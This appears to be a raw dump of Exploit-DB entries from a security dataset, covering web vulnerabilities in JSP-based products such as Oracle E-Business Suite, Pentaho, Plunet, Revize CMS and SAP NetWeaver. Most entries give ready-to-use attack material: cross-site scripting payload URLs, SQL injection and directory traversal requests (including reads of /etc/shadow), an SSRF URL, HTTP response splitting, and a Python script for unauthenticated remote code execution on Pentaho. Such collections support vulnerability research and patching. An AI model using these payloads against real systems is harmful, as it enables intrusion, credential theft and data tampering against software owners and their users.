deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42340
Description: Oracle E-Business Suite 12.x - Server-Side Request Forgery
Type: webapps
Platform: jsp
Date: 2017-07-19
Author: Sarath Nair

Exploit:
# Exploit Title: Oracle E-Business Suite - Server Side Request Forgery
# Date: 19 July 2017
# Exploit Author: Sarath Nair aka AceNeon13
# Contact: @AceNeon13
# Greetings: Raj3sh.tv, Deepu.tv
# Vendor Homepage: www.oracle.com
# Software Link:
http://www.oracle.com/us/products/applications/ebusiness/overview/index.html
# Version: Oracle E-Business Suite 12.1.3, 12.2.3, 12.2.4, 12.2.5, 12.2.6
# CVE: CVE-2017-10246

# PoC Exploit: Server Side Request Forgery
------------------------------------------
Vulnerable URL:
http://
<EBS_Application>/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://
<Internal_IP:Port>

# Description: The application is vulnerable to server side request forgery
attacks. We were able to use the web server to send packets internally and
thereby perform port scan on other internal assets and/or obtain
information accessible only from inside or otherwise not accessible to an
external user. It was also possible to query internal server information
otherwise unavailable publicly.
# Impact: A presumed attacker could use EBS server resources to conduct
internal information gathering or obtain information otherwise inaccessible
publicly.
# Solution: Apply the oracle EBS patch released on 18 July 2017

########################################
# Vulnerability Disclosure Timeline:

2017-April-29:  Discovered vulnerability
2017-April-30:  Vendor Notification
2017-May-01:  Vendor Response/Feedback
2017-July-18:  Vendor Fix/Patch
2017-July-19:  Public Disclosure
########################################
Exploit-DB #34834
Description: Oracle Fusion Middleware 10.1.2/10.1.3 - BPEL Console Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-10-12
Author: Alexander Polyakov

Exploit:
source: https://www.securityfocus.com/bid/43954/info

Oracle Fusion Middleware is prone to a cross-site scripting vulnerability in BPEL Console.

The vulnerability can be exploited over the 'HTTP' protocol. For an exploit to succeed, the attacker must have 'Valid Session' privileges.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Oracle BPEL Console 10.1.3.3.0 is vulnerable. 

http://www.example.com:7777/BPELConsole/default/processLog.jsp?processId=*&revisionTag=*&processName=ssssssssssssssssssss"><script>alert()</script>&eventType=all&eventDate=all
Exploit-DB #29301
Description: Oracle Portal 9.0.2 - Calendar.jsp Multiple HTTP Response Splitting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2006-12-20
Author: putosoft softputo

Exploit:
source: https://www.securityfocus.com/bid/21686/info

Oracle Portal is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input. 

A remote attacker may exploit these vulnerabilities to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

Versions 10g and 9.0.2 are vulnerable; other versions may also be affected.

http://www.example.com/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E
Exploit-DB #25269
Description: Oracle Reports Server 10g - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2005-03-24
Author: Paolo

Exploit:
source: https://www.securityfocus.com/bid/12892/info

Multiple remote cross-site scripting vulnerabilities affect Oracle Reports Server. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://paolo/reports/examples/Tools/test.jsp?repprod&desname='&lt;script&gt;alert(document.cookie);&lt;/script&gt;

http://paolo/reports/examples/Tools/test.jsp?repprod"&lt;script&gt;alert(document.cookie);&lt;/script&gt;
Exploit-DB #25198
Description: OutStart Participate Enterprise 3 - Multiple Access Validation Vulnerabilities
Type: webapps
Platform: jsp
Date: 2005-03-08
Author: Altrus

Exploit:
source: https://www.securityfocus.com/bid/12752/info

Participate Enterprise is reported prone to multiple access validation vulnerabilities. These issues may allow remote attackers to disclose sensitive information and corrupt and delete data that can ultimately lead to a denial of service condition.

The following specific issues were identified:

An attacker can browse the directory tree and disclose sensitive information.

An attacker can rename arbitrary objects.

An attacker can delete arbitrary objects as well.

All versions of Participate Enterprise are considered vulnerable at the moment.

To browse the directory tree:
http://www.example.com/pe/repository/displaynavigator.jsp?rootFolder=101

To rename an object:
http://www.example.com/pe/repository/include/renamepopup.jsp?selectedObject=101

To delete an object:
http://www.example.com/pe/repository/displaydeletenavigator.jsp?selectedObjectsCSV=101
Exploit-DB #51350
Description: Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: jsp
Date: 2023-04-08
Author: dwbzn

Exploit:
# Exploit Title: Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated)
# Author: dwbzn
# Date: 2022-04-04
# Vendor: https://www.hitachivantara.com/
# Software Link: https://www.hitachivantara.com/en-us/products/lumada-dataops/data-integration-analytics/download-pentaho.html
# Version: Pentaho BA Server 9.3.0.0-428
# CVE: CVE-2022-43769, CVE-2022-43939
# Tested on: Windows 11
# Credits: https://research.aurainfosec.io/pentest/pentah0wnage
# NOTE: This only works on the enterprise edition. Haven't tested it on Linux, but it should work (don't use notepad.exe).

# Unauthenticated RCE via SSTI using CVE-2022-43769 and CVE-2022-43939 (https://research.aurainfosec.io/pentest/pentah0wnage)
import requests
import argparse

parser = argparse.ArgumentParser(description='CVE-2022-43769 + CVE-2022-43939 - Unauthenticated RCE via SSTI')
parser.add_argument('baseurl', type=str, help='base url e.g. http://127.0.0.1:8080/pentaho')
parser.add_argument('--cmd', type=str, default='notepad.exe', nargs='?', help='command to execute (default notepad.exe)', required=False)
args = parser.parse_args()

url = f"{args.baseurl}/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{{T(java.lang.Runtime).getRuntime().exec('{args.cmd}')}}&mgrDn=a&pwd=a"

print ("running...")
r = requests.get(url)
if r.text == 'false':
    print ("command should've executed! nice.")
else:
    print ("didn't work. sadge...")
Exploit-DB #38235
Description: Perforce P4Web - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2013-01-22
Author: Christy Philip Mathew

Exploit:
source: https://www.securityfocus.com/bid/57514/info

Perforce P4Web is prone to multiple cross site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Perforce P4Web versions 2011.1 and 2012.1 are vulnerable; other versions may also be affected.

http://www.example.com/u=Administrator&p=&c=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Submit=Log+In&orgurl=

http://www.example.com/cnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&cdu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&cow=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&cda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&cho=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/@md=c&cd=//&cl=%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E&c=5q7@//?ac=81

http://www.example.com/unm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&udu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&uda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/filter=147&fileFilter=matching&pattern=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&showClient=showClient&Filter=Filter

http://www.example.com/goField=%2F%2F%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Go=Go

http://www.example.com/bnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&bdu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&bow=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&bda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/lnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&ldu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&low=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&lda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/Filter=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Asc=hi&Max=25&Show=Filter

http://www.example.com/Filter=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Asc=hi&Max=10&Jsf=Job&Jsf=Status&Jsf=User&Jsf=Date&Jsf=Description&Show=Filter

http://www.example.com/UpToVal=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&User=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Max=50&PatVal=...+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Client=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&AllC=y&Show=Filter
Exploit-DB #25628
Description: phpBB 2.0.x - 'BBCode.php' URL Tag
Type: webapps
Platform: jsp
Date: 2005-05-09
Author: Papados

Exploit:
source: https://www.securityfocus.com/bid/13545/info

The phpbb vendor reports that a critical vulnerability exists in the BBCode handling routines of the 'bbcode.php' script.

The bbcode [url] tag is not properly sanitized of user-supplied input. This could permit the injection of arbitrary HTML or script code into the browser of an unsuspecting user in the context of the affected site. 

[url=javascript://%0ASh=alert(%22CouCou%22);window.close();]Alert box with "CouCou"[/url]

[url=javascript://%0ASh=new%20ActiveXObject(%22WScript.shell%22);Sh.regwrite(%22HKCU%5C%5CQQQQQ%5C%5Cqq%22,%22CouCou%22)
;window.close();]Create registry entry: HKCU\QQQQQ\qq = "CouCou"[/url]

[url=javascript://%0Awindow.opener.document.body.innerHTML=window.opener.document.body.innerHTML.replace(%27Hi%20Paul%27
,%27Hi%20P.A.U.L%27);window.close();]Modify opener page: Paul -> P.A.U.L[/url]
Exploit-DB #32708
Description: Plunet BusinessManager 4.1 - '/pagesUTF8/auftrag_allgemeinauftrag.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-01-07
Author: Matteo Ignaccolo

Exploit:
source: https://www.securityfocus.com/bid/33153/info

Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.

Versions prior to BusinessManager 4.2 are vulnerable.

POST /pagesUTF8/auftrag_allgemeinauftrag.jsp HTTP/1.1
Host: <HOSTNAME> or IP
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) 
Gecko/20080718
Ubuntu/8.04 (hardy) Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.example.com/pagesUTF8/auftrag_allgemeinauftrag.jsp
Cookie: JSESSIONID=0B1347DFFD031E6BC1944C381A31293D
Content-Type: application/x-www-form-urlencoded
Content-Length: 1085

TokenUAID=42&QUK=1449&QUKA=*&QUKANSCH=820&QUKLIEFANSCH=820&QUZ=sample&
VorlageID=3&QU02=1-&QUL=sample&QUB=%22%3E%3Cscript%3Ealert%28%22XSS2%22%29
%3B%3C%2Fscript%3E&QUG=sample&OSPK01=141&OSPK02=0&OSSK05=&OSSK09=1&PJ12=14
&DATAUFTT=07&DATAUFMM=01&DATAUFJJJJ=2008&DATLIEFTT=24&DATLIEFMM=01&
DATLIEFJJJJ=2008&DATLIEFHH=&DATLIEFMN=&PJ13=&
Bez74=%22%3E%3Cscript%3Ealert%28%22XSS4%22%29%3B%3C%2Fscript%3E&
LDate74TT=24&LDate74MM=01&LDate74JJJJ=2008&LDate74HH=13&
LDate74MN=00&BOXP74=4&REA01774=59&REA01874=sample&
OutPE0174=0&OutPAP74=8385&Bem74=sample&REA001=&REA010=&REA007=1&REA008=2&
REA011=0&REA013=0&REA015=0&LEISTung=sample&LangFlag=&exit=&SelectTab=
&ContentBox=&OpenContentBox=&LoginPressed=false&SaveButton=true&
CheckXYZ=Send&yOffsetScroll=0
Exploit-DB #32710
Description: Plunet BusinessManager 4.1 - 'pagesUTF8/auftrag_job.jsp?Pfad' Direct Request Information Disclosure
Type: webapps
Platform: jsp
Date: 2009-01-07
Author: Matteo Ignaccolo

Exploit:
source: https://www.securityfocus.com/bid/33153/info
  
Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.
  
Versions prior to BusinessManager 4.2 are vulnerable.

http://www.example.com/pagesUTF8/auftrag_job.jsp?OSG05=1944&anchor=AJob31944 surf jobs
Exploit-DB #32709
Description: Plunet BusinessManager 4.1 - 'pagesUTF8/Sys_DirAnzeige.jsp?Pfad' Direct Request Information Disclosure
Type: webapps
Platform: jsp
Date: 2009-01-07
Author: Matteo Ignaccolo

Exploit:
source: https://www.securityfocus.com/bid/33153/info
 
Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.
 
Versions prior to BusinessManager 4.2 are vulnerable.

http://www.example.com/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=/PRM&Pfad=/ORDER/
C-00042/PRM
Exploit-DB #35127
Description: Progress OpenEdge 11.2 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2014-10-31
Author: XLabs Security

Exploit:
# Exploit Title: Progress OpenEdge Directory Traversal
# Date: 30/10/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.progress.com
# Software Link: www.progress.com/products/openedge
# Version: 11.2
# Tested on: Windows OS
# CVE : CVE-2014-8555

 

The malicious user sends a malformed request that generates the file access
up directories as follows: 

 

http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.
.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini 

 

or else 

 

http://
target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..
/../../windows/win.ini 

 

 

And the application answers

 

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

CMCDLLNAME32=mapi32.dll

CMC=1

MAPIX=1

MAPIXVER=1.0.0.1

OLEMessaging=1

 

 

More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256

 

Thanks
Exploit-DB #23872
Description: reget deluxe 3.0 build 121 - Directory Traversal
Type: webapps
Platform: jsp
Date: 2004-03-22
Author: snifer

Exploit:
source: https://www.securityfocus.com/bid/9951/info

It has been reported that ReGet may be prone to a directory traversal vulnerability that may allow remote attackers to upload files to arbitrary locations on a target system. The attacker may supply encoded directory traversal sequences in the URI parameter so that the requested file is saved outside of the default download directory specified by the user.

ReGet Deluxe 3.0 build 121 has been reported to be prone to this issue, however, other versions could be affected as well.

/support/download.jsp?filename=..%2F ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
Exploit-DB #26073
Description: Resin Application Server 4.0.36 - Source Code Disclosure
Type: webapps
Platform: jsp
Date: 2013-06-10
Author: LiquidWorm

Exploit:
Resin Application Server 4.0.36 Source Code Disclosure Vulnerability


Vendor: Caucho Technology, Inc.
Product web page: http://www.caucho.com
Affected version: Resin Professional Web And Application Server 4.0.36

Summary: Resin is the Java Application Server for high traffic
sites that require speed and scalability. It is one of the earliest
Java Application Servers, and has stood the test of time due to
engineering prowess.

Desc: The vulnerability is caused do to an improper sanitization
of the 'file' parameter when used for reading help files. An
attacker can exploit this vulnerability by directly requesting
a '.jsp' file for example in the root directory of the server
to view its source code that might reveal sensitive information.

Tested on: Resin Professional 4.0.36 (built Fri, 26 Apr 2013 03:33:09 PDT)
           Java HotSpot(TM) 64-Bit Server VM 23.3-b01
           4 cpu, Windows 7 amd64 6.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5144
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5144.php


01.06.2013

--


http://127.0.0.1:8080/resin-doc/viewfile/?file=index.jsp
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.\../&servletpath=&file=index.jsp
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.&servletpath=&file=index.jsp
Exploit-DB #26532
Description: Revize CMS - 'Query_results.jsp' SQL Injection
Type: webapps
Platform: jsp
Date: 2005-11-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/15481/info

Revize CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Other scripts may also be vulnerable. 

http://www.example.com/revize/debug/query_results.jsp?webspace=REVIZE&query=select%20*%20from%20pbpublic.rSubjects

http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects
Exploit-DB #26533
Description: Revize CMS - 'Revize.XML' Information Disclosure
Type: webapps
Platform: jsp
Date: 2005-11-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/15482/info

Revize CMS is prone to an information disclosure vulnerability. This issue is due to a failure in the application to restrict access to sensitive files.

An attacker can exploit this vulnerability to retrieve sensitive information. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

A sample URI has been provided:

http://www.example.com/revize/conf/revise.xml
Exploit-DB #26534
Description: Revize CMS HTTPTranslatorServlet - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-11-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/15484/info

Revize CMS is prone to a cross-site scripting vulnerabilities. This is due to a lack of proper sanitization of user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Esecurity&objectmap=subject&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp&action=login&resourcetype=security&objectmap=subject%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&error=admincenter/login.jsp
http://www.example.com/revize/HTTPTranslatorServlet?redirect=/revize/admincenter/setWebSpace.jsp%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=login&resourcetype=security&objectmap=subject&error=admincenter/login.jsp
Exploit-DB #12242
Description: RJ-iTop Network Vulnerability Scanner System - Multiple SQL Injections
Type: webapps
Platform: jsp
Date: 2010-04-14
Author: wsn1983

Exploit:
RJ-iTop Network Vulnerability Scanner System Multiple SQL Injection Vulnerabilities



Vulnerable: v3.0.7.x

Vendor:  www.rj-itop.com<http://www.rj-itop.com>

Category: Input Validation Error

Impact:   SQL injection



Details:

=========

Multiple SQL Injection Vulnerabilities has been found in DRJ-iTop Network Vulnerability Scanner System&#65292; which can be exploited by malicious users to conduct SQL injection and script insertion attacks.

Authentication is required to exploit these vulnerabilities.



POC:

=========

https://8.8.8.8/roleManager.jsp?type=query&id= [SQL Injection]





Timeline:

========

2009.10.19   Report to vendor (but vender did not respond)

2009.11.15   Report to vendor second times

2009.11.19   Report to CNNVD

2010.04.13   Public
Exploit-DB #34370
Description: SAP NetWeaver 6.4/7.0 - 'wsnavigator' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-07-23
Author: Alexandr Polyakov

Exploit:
source: https://www.securityfocus.com/bid/41925/info

SAP Netweaver is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SAP Netweaver 6.4 through 7.0 is vulnerable; other versions may also be affected.

https://www.example.com/wsnavigator/jsps/explorer/help.jsp?title=Test">AAAAAAAA<script>alert(&#039;XSS&#039;)</script>
Exploit-DB #31005
Description: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/account/findForSelect.jsp?resultsForm' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-01-09
Author: Jan Fry & Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/27214/info
 
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
 
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
 
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/account/findForSelect.jsp?resultsForm=<script>alert(&#039;Running_scripting_within_the_context_of_&#039;%2bdocument.domain)</script>&predefinedQuery=name%3Astarts+with%3A%25